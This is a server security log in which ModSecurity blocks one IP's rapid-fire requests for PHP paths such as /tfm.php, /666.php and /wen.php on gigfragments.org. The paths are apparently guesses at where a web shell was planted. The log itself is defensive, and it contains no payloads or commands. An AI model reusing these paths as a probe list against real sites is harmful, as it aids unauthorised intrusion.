[Sat Apr 11 08:45:42.229111 2026] [:error] [pid 7946:tid 7987] [client 4.233.120.250:64814] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "admZtvrHdDmbz9V-HcGLsgAAAUo"]
[Sat Apr 11 08:45:43.118096 2026] [:error] [pid 7945:tid 7963] [client 4.233.120.250:55276] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "admZt7sDeeqOgGBoyiRSagAAAQ4"]
[Sat Apr 11 08:45:44.120494 2026] [:error] [pid 8040:tid 8062] [client 4.233.120.250:52238] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "admZuPT4I2pBpREXxbXgnQAAABQ"]
[Sat Apr 11 08:45:44.904154 2026] [:error] [pid 8040:tid 8042] [client 4.233.120.250:55285] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "admZuPT4I2pBpREXxbXgpAAAAAA"]
[Sat Apr 11 08:45:45.793127 2026] [:error] [pid 7947:tid 8023] [client 4.233.120.250:59746] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "admZuRCvPKMuu97BGdh88QAAAZM"]
[Sat Apr 11 08:45:46.570686 2026] [:error] [pid 8040:tid 8060] [client 4.233.120.250:45361] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "admZuvT4I2pBpREXxbXgsQAAABI"]
[Sat Apr 11 08:45:47.188186 2026] [:error] [pid 8040:tid 8051] [client 4.233.120.250:55810] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "admZu_T4I2pBpREXxbXgswAAAAk"]
[Sat Apr 11 08:45:47.902181 2026] [:error] [pid 7945:tid 7954] [client 4.233.120.250:48024] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "admZu7sDeeqOgGBoyiRSdwAAAQU"]
[Sat Apr 11 08:45:48.609823 2026] [:error] [pid 7945:tid 7958] [client 4.233.120.250:46818] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "admZvLsDeeqOgGBoyiRSfAAAAQk"]
[Sat Apr 11 08:45:49.243940 2026] [:error] [pid 7945:tid 7968] [client 4.233.120.250:55843] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "admZvbsDeeqOgGBoyiRSgQAAARM"]
[Sat Apr 11 08:45:49.735582 2026] [:error] [pid 7947:tid 8016] [client 4.233.120.250:62745] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "admZvRCvPKMuu97BGdh9EQAAAYw"]
[Sat Apr 11 08:45:51.935836 2026] [:error] [pid 7946:tid 8001] [client 4.233.120.250:55283] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "admZv_rHdDmbz9V-HcGLywAAAVg"]
[Sat Apr 11 08:45:52.706747 2026] [:error] [pid 8040:tid 8065] [client 4.233.120.250:36392] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "admZwPT4I2pBpREXxbXg0AAAABc"]
[Sat Apr 11 08:45:53.307804 2026] [:error] [pid 8040:tid 8042] [client 4.233.120.250:62780] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "admZwfT4I2pBpREXxbXg1AAAAAA"]
[Sat Apr 11 08:45:53.856633 2026] [:error] [pid 8040:tid 8055] [client 4.233.120.250:46789] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "admZwfT4I2pBpREXxbXg3AAAAA0"]
[Sat Apr 11 08:45:54.482021 2026] [:error] [pid 8040:tid 8054] [client 4.233.120.250:63747] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "admZwvT4I2pBpREXxbXg4gAAAAw"]
[Sat Apr 11 08:45:55.030069 2026] [:error] [pid 7947:tid 8007] [client 4.233.120.250:55268] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "admZwxCvPKMuu97BGdh9PwAAAYM"]
[Sat Apr 11 08:45:56.012793 2026] [:error] [pid 8040:tid 8055] [client 4.233.120.250:63785] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "admZxPT4I2pBpREXxbXg5gAAAA0"]
[Sat Apr 11 08:45:56.523703 2026] [:error] [pid 8040:tid 8057] [client 4.233.120.250:55279] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "admZxPT4I2pBpREXxbXg5wAAAA8"]
[Sat Apr 11 08:45:57.066463 2026] [:error] [pid 7946:tid 8001] [client 4.233.120.250:55811] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "admZxfrHdDmbz9V-HcGL2QAAAVg"]
[Sat Apr 11 08:45:57.979345 2026] [:error] [pid 8040:tid 8063] [client 4.233.120.250:12771] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "admZxfT4I2pBpREXxbXg7wAAABU"]
[Sat Apr 11 08:45:58.486959 2026] [:error] [pid 7945:tid 7958] [client 4.233.120.250:58962] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "admZxrsDeeqOgGBoyiRSkgAAAQk"]
[Sat Apr 11 08:46:11.588707 2026] [:error] [pid 7945:tid 7962] [client 4.233.120.250:55855] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "admZ07sDeeqOgGBoyiRSsgAAAQ0"]
[Sat Apr 11 08:46:12.147589 2026] [:error] [pid 7947:tid 8007] [client 4.233.120.250:56365] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "admZ1BCvPKMuu97BGdh9zgAAAYM"]
[Sat Apr 11 08:46:12.628527 2026] [:error] [pid 7946:tid 7998] [client 4.233.120.250:39508] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "admZ1PrHdDmbz9V-HcGMLAAAAVU"]
[Sat Apr 11 08:46:13.514734 2026] [:error] [pid 8040:tid 8059] [client 4.233.120.250:65107] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "admZ1fT4I2pBpREXxbXhIQAAABE"]
[Sat Apr 11 08:46:14.207139 2026] [:error] [pid 7947:tid 8007] [client 4.233.120.250:65141] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZ1hCvPKMuu97BGdh92gAAAYM"]
[Sat Apr 11 08:46:14.853832 2026] [:error] [pid 7946:tid 7985] [client 4.233.120.250:12757] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZ1vrHdDmbz9V-HcGMMAAAAUg"]
[Sat Apr 11 08:46:15.372567 2026] [:error] [pid 7946:tid 7978] [client 4.233.120.250:51300] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZ1_rHdDmbz9V-HcGMMQAAAUE"]
[Sat Apr 11 08:46:15.899878 2026] [:error] [pid 7945:tid 7950] [client 4.233.120.250:56368] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZ17sDeeqOgGBoyiRSuwAAAQE"]
[Sat Apr 11 08:46:16.472773 2026] [:error] [pid 7947:tid 8016] [client 4.233.120.250:56367] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "admZ2BCvPKMuu97BGdh93QAAAYw"]
[Sat Apr 11 08:46:16.974431 2026] [:error] [pid 8040:tid 8065] [client 4.233.120.250:48025] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "admZ2PT4I2pBpREXxbXhTAAAABc"]
[Sat Apr 11 08:46:17.642824 2026] [:error] [pid 8040:tid 8050] [client 4.233.120.250:48048] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "admZ2fT4I2pBpREXxbXhVgAAAAg"]
[Sat Apr 11 08:46:18.458064 2026] [:error] [pid 8040:tid 8050] [client 4.233.120.250:46092] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "admZ2vT4I2pBpREXxbXhYwAAAAg"]
[Sat Apr 11 08:46:18.943582 2026] [:error] [pid 7947:tid 8014] [client 4.233.120.250:12775] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "admZ2hCvPKMuu97BGdh93gAAAYo"]
[Sat Apr 11 08:46:19.568639 2026] [:error] [pid 8040:tid 8052] [client 4.233.120.250:47935] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "admZ2_T4I2pBpREXxbXhcwAAAAo"]
[Sat Apr 11 08:46:20.248884 2026] [:error] [pid 8040:tid 8059] [client 4.233.120.250:47877] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "admZ3PT4I2pBpREXxbXhfQAAABE"]
[Sat Apr 11 08:46:20.785182 2026] [:error] [pid 8040:tid 8053] [client 4.233.120.250:48060] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "admZ3PT4I2pBpREXxbXhiAAAAAs"]
[Sat Apr 11 08:46:21.372248 2026] [:error] [pid 8040:tid 8064] [client 4.233.120.250:60812] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "admZ3fT4I2pBpREXxbXhkAAAABY"]
[Sat Apr 11 08:46:21.970648 2026] [:error] [pid 8040:tid 8060] [client 4.233.120.250:55847] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "admZ3fT4I2pBpREXxbXhmQAAABI"]
[Sat Apr 11 08:46:22.737599 2026] [:error] [pid 7947:tid 8011] [client 4.233.120.250:41349] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "admZ3hCvPKMuu97BGdh94gAAAYc"]
[Sat Apr 11 08:46:23.240767 2026] [:error] [pid 7947:tid 8008] [client 4.233.120.250:59001] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "admZ3xCvPKMuu97BGdh95AAAAYQ"]
[Sat Apr 11 08:46:23.806761 2026] [:error] [pid 7945:tid 7949] [client 4.233.120.250:51320] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ37sDeeqOgGBoyiRS0AAAAQA"]
[Sat Apr 11 08:46:26.941844 2026] [:error] [pid 7946:tid 7997] [client 4.233.120.250:58185] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ4vrHdDmbz9V-HcGMQwAAAVQ"]
[Sat Apr 11 08:46:27.676830 2026] [:error] [pid 7947:tid 8019] [client 4.233.120.250:55286] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ4xCvPKMuu97BGdh97wAAAY8"]
[Sat Apr 11 08:46:28.574104 2026] [:error] [pid 7947:tid 8016] [client 4.233.120.250:60828] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ5BCvPKMuu97BGdh99gAAAYw"]
[Sat Apr 11 08:46:29.543488 2026] [:error] [pid 7946:tid 7987] [client 4.233.120.250:12762] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "admZ5frHdDmbz9V-HcGMUgAAAUo"]
[Sat Apr 11 08:46:30.280694 2026] [:error] [pid 8040:tid 8054] [client 4.233.120.250:58751] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "admZ5vT4I2pBpREXxbXhxQAAAAw"]
[Sat Apr 11 08:46:31.740051 2026] [:error] [pid 7946:tid 8000] [client 4.233.120.250:12977] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "admZ5_rHdDmbz9V-HcGMXAAAAVc"]
[Sat Apr 11 08:46:32.880461 2026] [:error] [pid 7947:tid 8018] [client 4.233.120.250:12976] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "admZ6BCvPKMuu97BGdh-BQAAAY4"]
[Sat Apr 11 08:46:33.424360 2026] [:error] [pid 7947:tid 8027] [client 4.233.120.250:12742] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "admZ6RCvPKMuu97BGdh-CQAAAZc"]
[Sat Apr 11 08:46:34.108379 2026] [:error] [pid 8040:tid 8044] [client 4.233.120.250:51281] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "admZ6vT4I2pBpREXxbXh1gAAAAI"]
[Sat Apr 11 08:46:34.775271 2026] [:error] [pid 7945:tid 7961] [client 4.233.120.250:12783] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "admZ6rsDeeqOgGBoyiRS5AAAAQw"]
[Sat Apr 11 08:46:35.362427 2026] [:error] [pid 7945:tid 7950] [client 4.233.120.250:44149] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "admZ67sDeeqOgGBoyiRS5wAAAQE"]
[Sat Apr 11 08:46:35.931533 2026] [:error] [pid 7946:tid 7988] [client 4.233.120.250:55814] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "admZ6_rHdDmbz9V-HcGMawAAAUs"]
[Sat Apr 11 08:46:36.773665 2026] [:error] [pid 8040:tid 8058] [client 4.233.120.250:56334] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "admZ7PT4I2pBpREXxbXh2gAAABA"]
[Sat Apr 11 08:46:37.326848 2026] [:error] [pid 7947:tid 8006] [client 4.233.120.250:60822] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "admZ7RCvPKMuu97BGdh-IAAAAYI"]
